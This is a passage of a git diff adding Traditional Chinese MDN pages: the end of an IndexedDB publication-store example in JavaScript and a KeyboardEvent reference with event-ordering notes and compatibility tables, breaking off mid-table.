+      pub_msg.append('&lt;p&gt;There are &lt;strong&gt;' + evt.target.result +
+                     '&lt;/strong&gt; record(s) in the object store.&lt;/p&gt;');
+    };
+    req.onerror = function(evt) {
+      console.error("add error", this.error);
+      displayActionFailure(this.error);
+    };
+
+    var i = 0;
+    req = store.openCursor();
+    req.onsuccess = function(evt) {
+      var cursor = evt.target.result;
+
+      // If the cursor is pointing at something, ask for the data
+      if (cursor) {
+        console.log("displayPubList cursor:", cursor);
+        req = store.get(cursor.key);
+        req.onsuccess = function (evt) {
+          var value = evt.target.result;
+          var list_item = $('&lt;li&gt;' +
+                            '[' + cursor.key + '] ' +
+                            '(biblioid: ' + value.biblioid + ') ' +
+                            value.title +
+                            '&lt;/li&gt;');
+          if (value.year != null)
+            list_item.append(' - ' + value.year);
+
+          if (value.hasOwnProperty('blob') &amp;&amp;
+              typeof value.blob != 'undefined') {
+            var link = $('&lt;a href="' + cursor.key + '"&gt;File&lt;/a&gt;');
+            link.on('click', function() { return false; });
+            link.on('mouseenter', function(evt) {
+                      setInViewer(evt.target.getAttribute('href')); });
+            list_item.append(' / ');
+            list_item.append(link);
+          } else {
+            list_item.append(" / No attached file");
+          }
+          pub_list.append(list_item);
+        };
+
+        // Move on to the next object in store
+        cursor.continue();
+
+        // This counter serves only to create distinct ids
+        i++;
+      } else {
+        console.log("No more entries");
+      }
+    };
+  }
+
+  function newViewerFrame() {
+    var viewer = $('#pub-viewer');
+    viewer.empty();
+    var iframe = $('&lt;iframe /&gt;');
+    viewer.append(iframe);
+    return iframe;
+  }
+
+  function setInViewer(key) {
+    console.log("setInViewer:", arguments);
+    key = Number(key);
+    if (key == current_view_pub_key)
+      return;
+
+    current_view_pub_key = key;
+
+    var store = getObjectStore(DB_STORE_NAME, 'readonly');
+    getBlob(key, store, function(blob) {
+      console.log("setInViewer blob:", blob);
+      var iframe = newViewerFrame();
+
+      // It is not possible to set a direct link to the
+      // blob to provide a mean to directly download it.
+      if (blob.type == 'text/html') {
+        var reader = new FileReader();
+        reader.onload = (function(evt) {
+          var html = evt.target.result;
+          iframe.load(function() {
+            $(this).contents().find('html').html(html);
+          });
+        });
+        reader.readAsText(blob);
+      } else if (blob.type.indexOf('image/') == 0) {
+        iframe.load(function() {
+          var img_id = 'image-' + key;
+          var img = $('&lt;img id="' + img_id + '"/&gt;');
+          $(this).contents().find('body').html(img);
+          var obj_url = window.URL.createObjectURL(blob);
+          $(this).contents().find('#' + img_id).attr('src', obj_url);
+          window.URL.revokeObjectURL(obj_url);
+        });
+      } else if (blob.type == 'application/pdf') {
+        $('*').css('cursor', 'wait');
+        var obj_url = window.URL.createObjectURL(blob);
+        iframe.load(function() {
+          $('*').css('cursor', 'auto');
+        });
+        iframe.attr('src', obj_url);
+        window.URL.revokeObjectURL(obj_url);
+      } else {
+        iframe.load(function() {
+          $(this).contents().find('body').html("No view available");
+        });
+      }
+
+    });
+  }
+
+  /**
+   * @param {string} biblioid
+   * @param {string} title
+   * @param {number} year
+   * @param {string} url the URL of the image to download and store in the local
+   *   IndexedDB database. The resource behind this URL is subjected to the
+   *   "Same origin policy", thus for this method to work, the URL must come from
+   *   the same origin as the web site/app this code is deployed on.
+   */
+  function addPublicationFromUrl(biblioid, title, year, url) {
+    console.log("addPublicationFromUrl:", arguments);
+
+    var xhr = new XMLHttpRequest();
+    xhr.open('GET', url, true);
+    // Setting the wanted responseType to "blob"
+    // http://www.w3.org/TR/XMLHttpRequest2/#the-response-attribute
+    xhr.responseType = 'blob';
+    xhr.onload = function (evt) {
+                           if (xhr.status == 200) {
+                             console.log("Blob retrieved");
+                             var blob = xhr.response;
+                             console.log("Blob:", blob);
+                             addPublication(biblioid, title, year, blob);
+                           } else {
+                             console.error("addPublicationFromUrl error:",
+                                           xhr.responseText, xhr.status);
+                           }
+                         };
+    xhr.send();
+
+    // We can't use jQuery here because as of jQuery 1.8.3 the new "blob"
+    // responseType is not handled.
+    // http://bugs.jquery.com/ticket/11461
+    // http://bugs.jquery.com/ticket/7248
+    // $.ajax({
+    //   url: url,
+    //   type: 'GET',
+    //   xhrFields: { responseType: 'blob' },
+    //   success: function(data, textStatus, jqXHR) {
+    //     console.log("Blob retrieved");
+    //     console.log("Blob:", data);
+    //     // addPublication(biblioid, title, year, data);
+    //   },
+    //   error: function(jqXHR, textStatus, errorThrown) {
+    //     console.error(errorThrown);
+    //     displayActionFailure("Error during blob retrieval");
+    //   }
+    // });
+  }
+
+  /**
+   * @param {string} biblioid
+   * @param {string} title
+   * @param {number} year
+   * @param {Blob=} blob
+   */
+  function addPublication(biblioid, title, year, blob) {
+    console.log("addPublication arguments:", arguments);
+    var obj = { biblioid: biblioid, title: title, year: year };
+    if (typeof blob != 'undefined')
+      obj.blob = blob;
+
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req;
+    try {
+      req = store.add(obj);
+    } catch (e) {
+      if (e.name == 'DataCloneError')
+        displayActionFailure("This engine doesn't know how to clone a Blob, " +
+                             "use Firefox");
+      throw e;
+    }
+    req.onsuccess = function (evt) {
+      console.log("Insertion in DB successful");
+      displayActionSuccess();
+      displayPubList(store);
+    };
+    req.onerror = function() {
+      console.error("addPublication error", this.error);
+      displayActionFailure(this.error);
+    };
+  }
+
+  /**
+   * @param {string} biblioid
+   */
+  function deletePublicationFromBib(biblioid) {
+    console.log("deletePublication:", arguments);
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req = store.index('biblioid');
+    req.get(biblioid).onsuccess = function(evt) {
+      if (typeof evt.target.result == 'undefined') {
+        displayActionFailure("No matching record found");
+        return;
+      }
+      deletePublication(evt.target.result.id, store);
+    };
+    req.onerror = function (evt) {
+      console.error("deletePublicationFromBib:", evt.target.errorCode);
+    };
+  }
+
+  /**
+   * @param {number} key
+   * @param {IDBObjectStore=} store
+   */
+  function deletePublication(key, store) {
+    console.log("deletePublication:", arguments);
+
+    if (typeof store == 'undefined')
+      store = getObjectStore(DB_STORE_NAME, 'readwrite');
+
+    // As per spec http://www.w3.org/TR/IndexedDB/#object-store-deletion-operation
+    // the result of the Object Store Deletion Operation algorithm is
+    // undefined, so it's not possible to know if some records were actually
+    // deleted by looking at the request result.
+    var req = store.get(key);
+    req.onsuccess = function(evt) {
+      var record = evt.target.result;
+      console.log("record:", record);
+      if (typeof record == 'undefined') {
+        displayActionFailure("No matching record found");
+        return;
+      }
+      // Warning: The exact same key used for creation needs to be passed for
+      // the deletion. If the key was a Number for creation, then it needs to
+      // be a Number for deletion.
+      req = store.delete(key);
+      req.onsuccess = function(evt) {
+        console.log("evt:", evt);
+        console.log("evt.target:", evt.target);
+        console.log("evt.target.result:", evt.target.result);
+        console.log("delete successful");
+        displayActionSuccess("Deletion successful");
+        displayPubList(store);
+      };
+      req.onerror = function (evt) {
+        console.error("deletePublication:", evt.target.errorCode);
+      };
+    };
+    req.onerror = function (evt) {
+      console.error("deletePublication:", evt.target.errorCode);
+      };
+  }
+
+  function displayActionSuccess(msg) {
+    msg = typeof msg != 'undefined' ? "Success: " + msg : "Success";
+    $('#msg').html('&lt;span class="action-success"&gt;' + msg + '&lt;/span&gt;');
+  }
+  function displayActionFailure(msg) {
+    msg = typeof msg != 'undefined' ? "Failure: " + msg : "Failure";
+    $('#msg').html('&lt;span class="action-failure"&gt;' + msg + '&lt;/span&gt;');
+  }
+  function resetActionStatus() {
+    console.log("resetActionStatus ...");
+    $('#msg').empty();
+    console.log("resetActionStatus DONE");
+  }
+
+  function addEventListeners() {
+    console.log("addEventListeners");
+
+    $('#register-form-reset').click(function(evt) {
+      resetActionStatus();
+    });
+
+    $('#add-button').click(function(evt) {
+      console.log("add ...");
+      var title = $('#pub-title').val();
+      var biblioid = $('#pub-biblioid').val();
+      if (!title || !biblioid) {
+        displayActionFailure("Required field(s) missing");
+        return;
+      }
+      var year = $('#pub-year').val();
+      if (year != '') {
+        // Better use Number.isInteger if the engine has EcmaScript 6
+        if (isNaN(year))  {
+          displayActionFailure("Invalid year");
+          return;
+        }
+        year = Number(year);
+      } else {
+        year = null;
+      }
+
+      var file_input = $('#pub-file');
+      var selected_file = file_input.get(0).files[0];
+      console.log("selected_file:", selected_file);
+      // Keeping a reference on how to reset the file input in the UI once we
+      // have its value, but instead of doing that we rather use a "reset" type
+      // input in the HTML form.
+      //file_input.val(null);
+      var file_url = $('#pub-file-url').val();
+      if (selected_file) {
+        addPublication(biblioid, title, year, selected_file);
+      } else if (file_url) {
+        addPublicationFromUrl(biblioid, title, year, file_url);
+      } else {
+        addPublication(biblioid, title, year);
+      }
+
+    });
+
+    $('#delete-button').click(function(evt) {
+      console.log("delete ...");
+      var biblioid = $('#pub-biblioid-to-delete').val();
+      var key = $('#key-to-delete').val();
+
+      if (biblioid != '') {
+        deletePublicationFromBib(biblioid);
+      } else if (key != '') {
+        // Better use Number.isInteger if the engine has EcmaScript 6
+        if (key == '' || isNaN(key))  {
+          displayActionFailure("Invalid key");
+          return;
+        }
+        key = Number(key);
+        deletePublication(key);
+      }
+    });
+
+    $('#clear-store-button').click(function(evt) {
+      clearObjectStore();
+    });
+
+    var search_button = $('#search-list-button');
+    search_button.click(function(evt) {
+      displayPubList();
+    });
+
+  }
+
+  openDb();
+  addEventListeners();
+
+})(); // Immediately-Invoked Function Expression (IIFE)
+</pre>
+<p>{{ LiveSampleLink('Full_IndexedDB_example', "線上範例") }}</p>
+<h2 id="下一步">下一步</h2>
+<p>請參考<a href="https://developer.mozilla.org/zh-TW/docs/IndexedDB">IndexedDB文件</a>，看看有甚麼IndexedDB API可供使用，實際試玩一下吧。</p>
+<h2 id="延伸閱讀">延伸閱讀</h2>
+<p>參照</p>
+<ul>
+ <li><a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB API Reference</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/IndexedDB/" title="http://www.w3.org/TR/IndexedDB/">Indexed Database API Specification</a></li>
+ <li><a href="/en-US/docs/IndexedDB/Using_IndexedDB_in_chrome" title="/en-US/docs/IndexedDB/Using_IndexedDB_in_chrome">Using IndexedDB in chrome</a></li>
+</ul>
+<p>相關教學</p>
+<ul>
+ <li><a class="external" href="http://www.html5rocks.com/tutorials/indexeddb/todo/" title="http://www.html5rocks.com/tutorials/indexeddb/todo/">A simple TODO list using HTML5 IndexedDB</a><span class="external">. </span><span class="external">{{ Note("請注意此教學範例用到的已經廢棄的<code>setVersion()方法。</code>") }}</span></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/indexeddb/uidatabinding/" title="http://www.html5rocks.com/en/tutorials/indexeddb/uidatabinding/">Databinding UI Elements with IndexedDB</a></li>
+</ul>
+<p>相關文章</p>
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx" title="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx">IndexedDB — The Store in Your Browser</a></li>
+</ul>
+<p>Firefox</p>
+<ul>
+ <li>Mozilla <a class="link-https" href="https://mxr.mozilla.org/mozilla-central/find?text=&amp;string=dom%2FindexedDB%2F.*%5C.idl&amp;regexp=1" title="https://mxr.mozilla.org/mozilla-central/find?text=&amp;string=dom/indexedDB/.*\.idl&amp;regexp=1">interface files</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/keyboardevent/index.html b/files/zh-tw/web/api/keyboardevent/index.html
new file mode 100644
index 0000000000..31d75cdf1f
--- /dev/null
+++ b/files/zh-tw/web/api/keyboardevent/index.html
@@ -0,0 +1,449 @@
+---
+title: KeyboardEvent
+slug: Web/API/KeyboardEvent
+tags:
+  - 待翻譯
+translation_of: Web/API/KeyboardEvent
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p><strong><code>KeyboardEvent</code></strong> objects 用來詳述使用者和網頁之間，經由鍵盤產生的互動。每個事件（<code>event</code>）都記錄著一次鍵盤動作。事件類型（<code>keydown</code> 、 <code>keypress</code> 和 <code>keyup</code>）用來表示鍵盤執行哪種動作。</p>
+
+<div class="note"><strong>注意：</strong> <code>KeyboardEvent</code> 僅顯示在鍵盤上發生的事。當你需要進行文字輸入的操作，請使用 HTML5 <code><a href="/en-US/docs/DOM/DOM_event_reference/input" rel="custom">input</a></code> event 代替 <code>KeyboardEvent</code> 。舉例來說，當使用者在手寫系統，例如平板電腦，輸入文字時，並不會啟動 key events 。</div>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}</dt>
+ <dd>建立一 <code>KeyboardEvent</code> object。</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>本介面（ interface）亦繼承其父， {{domxref("UIEvent")}} 和 {{domxref("Event")}} ，的 methods</em></p>
+
+<dl>
+ <dt>{{domxref("KeyboardEvent.getModifierState()")}}</dt>
+ <dd>回傳一 {{jsxref("Boolean")}}。用來表示當事件建立時，修飾鍵（例如 <kbd>Alt</kbd>、 <kbd>Shift</kbd>、 <kbd>Ctrl</kbd>、或是 <kbd>Meta</kbd>） 是否是按下的。</dd>
+ <dt>{{domxref("KeyboardEvent.initKeyEvent()")}}{{deprecated_inline}}</dt>
+ <dd>初始化一個 <code>KeyboardEvent</code> object。這個 method 只有 Gecko 有在使用（其他瀏覽器是使用 {{domxref("KeyboardEvent.initKeyboardEvent()")}}），並且不應該再繼續使用。現代的標準規範是使用 {{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}} constructor。</dd>
+ <dt>{{domxref("KeyboardEvent.initKeyboardEvent()")}}{{deprecated_inline}}</dt>
+ <dd>初始化一個 <code>KeyboardEvent</code> object。 Gecko 從未實作過該 method （Gecko 是使用 {{domxref("KeyboardEvent.initKeyEvent()")}}) ，並且不應該再繼續使用。現代的標準規範是使用 {{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}} constructor。</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>本介面（ interface）亦繼承其父，{{domxref("UIEvent")}} 和 {{domxref("Event")}} ，的 properties 。</em></p>
+
+<dl>
+ <dt>{{domxref("KeyboardEvent.altKey")}} {{Readonlyinline}}</dt>
+ <dd>一個 {{jsxref("Boolean")}} 。用來表示在事件建立時， <kbd>Alt</kbd> （OS X 中是 <kbd>Option</kbd> 或 <kbd>⌥</kbd> ） 鍵是否執行中。</dd>
+ <dt>{{domxref("KeyboardEvent.char")}} {{Non-standard_inline}}{{Deprecated_inline}}{{Readonlyinline}}</dt>
+ <dd>一個 {{domxref("DOMString")}} ，返回鍵盤對應的字符。若是該鍵對應一個實際的字符，則其值為對應該字符的一個非空的 Unicode 字串；若沒對應的話，則返回一個空字串。
+ <div class="note"><strong>Note:</strong> If the key is used as a macro that inserts multiple characters, this attribute's value is the entire string, not just the first character.</div>
+
+ <div class="warning"><strong>警告:</strong> 在 DOM Level 3 Events ，該 propertie 已被移除。現在只有 IE9+ 支持它。</div>
+ </dd>
+ <dt>{{domxref("KeyboardEvent.charCode")}} {{Deprecated_inline}}{{Readonlyinline}}</dt>
+ <dd>Returns a {{jsxref("Number")}} representing the Unicode reference number of the key; this attribute is used only by the <code>keypress</code> event. For keys whose <code>char</code> attribute contains multiple characters, this is the Unicode value of the first character in that attribute. In Firefox 26 this returns codes for printable characters.
+ <div class="warning"><strong>警告:</strong> 此 attribute 已被淘汰。如果可以，建議使用 {{domxref("KeyboardEvent.key")}} 。</div>
+ </dd>
+ <dt>{{domxref("KeyboardEvent.code")}} {{Readonlyinline}}</dt>
+ <dd>一個 {{domxref("DOMString")}} 。返回事件對應的按鍵的代碼。</dd>
+ <dt>{{domxref("KeyboardEvent.ctrlKey")}} {{Readonlyinline}}</dt>
+ <dd>一個 {{jsxref("Boolean")}} 。用來表示在事件建立時， <kbd>Ctrl</kbd> 鍵是否執行中。</dd>
+ <dt>{{domxref("KeyboardEvent.isComposing")}} {{Readonlyinline}}</dt>
+ <dd>一個 {{jsxref("Boolean")}} 。用來表示其觸發時間是否在 <code>compositionstart</code> 和 <code>compositionend</code> 之間。</dd>
+ <dt>{{domxref("KeyboardEvent.key")}} {{Readonlyinline}}</dt>
+ <dd>一個 {{domxref("DOMString")}} ，用來事件對應的按鍵的值（key value）。</dd>
+ <dt>{{domxref("KeyboardEvent.keyCode")}} {{deprecated_inline}}{{Readonlyinline}}</dt>
+ <dd>Returns a {{jsxref("Number")}} representing a system and implementation dependent numerical code identifying the unmodified value of the pressed key.
+ <div class="warning"><strong>警告:</strong> 此 attribute 已被淘汰。如果可以，建議使用{{domxref("KeyboardEvent.key")}} 。</div>
+ </dd>
+ <dt>{{domxref("KeyboardEvent.locale")}} {{Readonlyinline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing a locale string indicating the locale the keyboard is configured for. This may be the empty string if the browser or device doesn't know the keyboard's locale.
+ <div class="note"><strong>Note:</strong> This does not describe the locale of the data being entered. A user may be using one keyboard layout while typing text in a different language.</div>
+ </dd>
+ <dt>{{domxref("KeyboardEvent.location")}}<a> {{Readonlyinline}}</a></dt>
+ <dd>Returns a {{jsxref("Number")}} representing the location of the key on the keyboard or other input device.</dd>
+ <dt>{{domxref("KeyboardEvent.metaKey")}} {{Readonlyinline}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} that is <code>true</code> if the <kbd>Meta</kbd> (on Mac keyboards, the <kbd>⌘ Command</kbd> key; on Windows keyboards, the Windows key (<kbd>⊞</kbd>)) key was active when the key event was generated.</dd>
+ <dt>{{domxref("KeyboardEvent.repeat")}} {{Readonlyinline}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} that is <code>true</code> if the key is being held down such that it is automatically repeating.</dd>
+ <dt>{{domxref("KeyboardEvent.shiftKey")}} {{Readonlyinline}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} that is <code>true</code> if the <kbd>Shift</kbd> key was active when the key event was generated.</dd>
+ <dt>{{domxref("KeyboardEvent.which")}} {{deprecated_inline}}{{Readonlyinline}}</dt>
+ <dd>Returns a {{jsxref("Number")}} representing a system and implementation dependent numeric code identifying the unmodified value of the pressed key; this is usually the same as <code>keyCode</code>.
+ <div class="warning"><strong>警告:</strong> 此 attribute 已被淘汰。如果可以，建議使用 {{domxref("KeyboardEvent.key")}} 。</div>
+ </dd>
+</dl>
+
+<h2 id="注意">注意</h2>
+
+<p>KeyboardEvent 有 <code>keydown</code> 、 <code>keypress</code> 、 <code>keyup</code> 三種事件。對大多數的按鍵而言， Gecko 觸發事件的順序如下：</p>
+
+<ol>
+ <li>當按鍵按下時，會送出 <code>keydown</code> event 。</li>
+ <li>當按鍵不是特殊鍵（ modifier key），例如<kbd>Ctrl</kbd> 、<kbd>Alt</kbd>……等等，會送出 <code>keypress</code> event 。</li>
+ <li>當按鍵放開時，會送出 <code>keyup</code> event 。</li>
+</ol>
+
+<h3 id="特殊狀況">特殊狀況</h3>
+
+<p>某些按鍵，例如 <kbd>Caps Lock</kbd> 、 <kbd>Num Lock</kbd> 和 <kbd>Scroll Lock</kbd> 能切換鍵盤上的 LED 燈。在 Windows 和 Linux 系統上，這些按鍵只會觸發 <code>keydown</code> 和 <code>keyup</code> 事件。但是 Linux 上的 Firefox 12 或更早的版本亦會觸發 <code>keypress</code> 事件。</p>
+
+<p>而在 Mac 電腦則不同， <kbd>Caps Lock</kbd> 只會觸發 <code>keydown</code> 事件；而 <kbd>Num Lock</kbd> 則是只有舊版的 Mac 電腦（2007 或之前的版本）才有，現在的 Mac 即便使用外部鍵盤也不支援  <kbd>Num Lock</kbd> 。雖說舊版的 Mac 電腦支援 <kbd>Num Lock</kbd> 鍵，但 <kbd>Num Lock</kbd>  並不會執行任何 KeyboardEvent；而 Gecko 瀏覽器在特殊情況（外接一個有 <kbd>F14</kbd> 的鍵盤）下能支援 <kbd>Scroll Lock</kbd> ，但是它會產生 <code>keypress</code> 事件。這個異常狀態是個 bug ，詳情可參考 {{bug(602812)}}。</p>
+
+<h3 id="自動迴圈（Auto-Repeat_）的執行">自動迴圈（Auto-Repeat ）的執行</h3>
+
+<p>當按鍵按下去不放時，它會開始一個自動迴圈。並導致觸發一系列的相似事件，如下所示：</p>
+
+<ol>
+ <li><code>keydown</code></li>
+ <li><code>keypress</code></li>
+ <li><code>keydown</code></li>
+ <li><code>keypress</code></li>
+ <li>（不斷重複，直到使用者放開按鍵）</li>
+ <li><code>keyup</code></li>
+</ol>
+
+<p>在 DOM Level 3 說明書有提及這問題是會發生的。其中所存在的問題如下說明：</p>
+
+<h4 id="部分_GTK_環境，例如_Ubuntu_9.4_，的自動迴圈">部分 GTK 環境，例如 Ubuntu 9.4 ，的自動迴圈</h4>
+
+<p>部分的 GTK-based 環境之中，自動迴圈在發生的過程中會自動觸發電腦本機的 key-up 事件。然而，對 Gecko 而言，並沒有方法可以分辨使用者重複點擊按鍵與自動迴圈（按鍵按住不放）的差異。在這類的環境下，按鍵按住不放會重複執行下列事件：</p>
+
+<ol>
+ <li><code>keydown</code></li>
+ <li><code>keypress</code></li>
+ <li><code>keyup</code></li>
+ <li><code>keydown</code></li>
+ <li><code>keypress</code></li>
+ <li><code>keyup</code></li>
+ <li>（不斷重複，直到使用者放開按鍵）</li>
+ <li><code>keyup</code></li>
+</ol>
+
+<p>不幸地，在這些環境之下，web content 亦沒有方法告訴使用者重複點擊按鍵與自動迴圈的差異。</p>
+
+<h4 id="Gecko_5.0_以前的自動迴圈">Gecko 5.0 以前的自動迴圈</h4>
+
+<p>Gecko 5.0 {{geckoRelease('5.0')}} 以前，在不同平台上，鍵盤的處理與現在相比較不統一。</p>
+
+<dl>
+ <dt>Windows</dt>
+ <dd>自動迴圈的結果與 Gecko 4.0 或更新的版本類似</dd>
+ <dt>Mac</dt>
+ <dd>在第一個 keydown 執行後，僅執行 keypress 事件，一直到案件放開（即送出 keyup 事件指令），過程中不會送出任何 keydown 事件。</dd>
+ <dt>Linux</dt>
+ <dd>鍵盤事件的執行根據平台不同而有所不同。它有可能表現得像是 Windows 也有可能像 Mac ，這取決於本地的事件模型（native event model）是如何執行的。</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;script&gt;
+var metaChar = false;
+var exampleKey = 16;
+
+function keyEvent(event) {
+  var key = event.keyCode || event.which;
+  var keychar = String.fromCharCode(key);
+  if (key == exampleKey) {
+    metaChar = true;
+  }
+  if (key != exampleKey) {
+    if (metaChar) {
+      alert("Combination of metaKey + " + keychar);
+      metaChar = false;
+    } else {
+      alert("Key pressed " + key);
+    }
+  }
+}
+
+function metaKeyUp (event) {
+  var key = event.keyCode || event.which;
+
+  if (key == exampleKey) {
+    metaChar = false;
+  }
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onkeydown="keyEvent(event)" onkeyup="metaKeyUp(event)"&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#interface-KeyboardEvent', 'KeyboardEvent')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>原始定義</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>The <code>KeyboardEvent</code> interface specification went through numerous draft versions, first under DOM Events Level 2 where it was dropped as no consensus arose, then under DOM Events Level 3. This led to the implementation of non-standard initialization methods, the early DOM Events Level 2 version, {{domxref("KeyboardEvent.initKeyEvent()")}} by Gecko browsers and the early DOM Events Level 3 version, {{domxref("KeyboardEvent.initKeyboardEvent()")}} by others. Both have been superseded by the modern usage of a constructor: {{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}.</p>
+
+<h2 id="瀏覽器支援度">瀏覽器支援度</h2>
+
+<p>More compatibility data is available on other pages:</p>
+
+<ul>
+ <li><code>.code</code>  ：請參考《瀏覽器支援度》的 {{domxref("KeyboardEvent.code")}} 部分。</li>
+ <li><code>.key</code>：請參考《瀏覽器支援度》的 {{domxref("KeyboardEvent.key")}} 部分。</li>
+ <li><code>.getModifierState()</code> ：請參考《瀏覽器支援度》的 {{domxref("KeyboardEvent.getModifierState")}} 部分。</li>
+</ul>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>constructor</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("31.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.char</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>.charCode</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.code</code></td>
+   <td colspan="5" rowspan="1">See Browser compatibility of {{domxref("KeyboardEvent.code")}}.</td>
+  </tr>
+  <tr>
+   <td><code>.isComposing</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("31.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>.key</code></td>
+   <td colspan="5" rowspan="1">See Browser compatibility of {{domxref("KeyboardEvent.key")}}.</td>
+  </tr>
+  <tr>
+   <td><code>.keyCode</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.locale</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>.location</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("15.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>.repeat</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("28.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>.which</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.getModifierState()</code></td>
+   <td colspan="5" rowspan="1">See Browser compatibility of {{domxref("KeyboardEvent.getModifierState")}}</td>
+  </tr>
+  <tr>
+   <td><code>.initKeyboardEvent()</code></td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}<sup>[2]</sup></td>
+   <td>{{CompatIE("9.0")}}<sup>[3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>constructor</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("31.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.char</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.charCode</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.code</code></td>
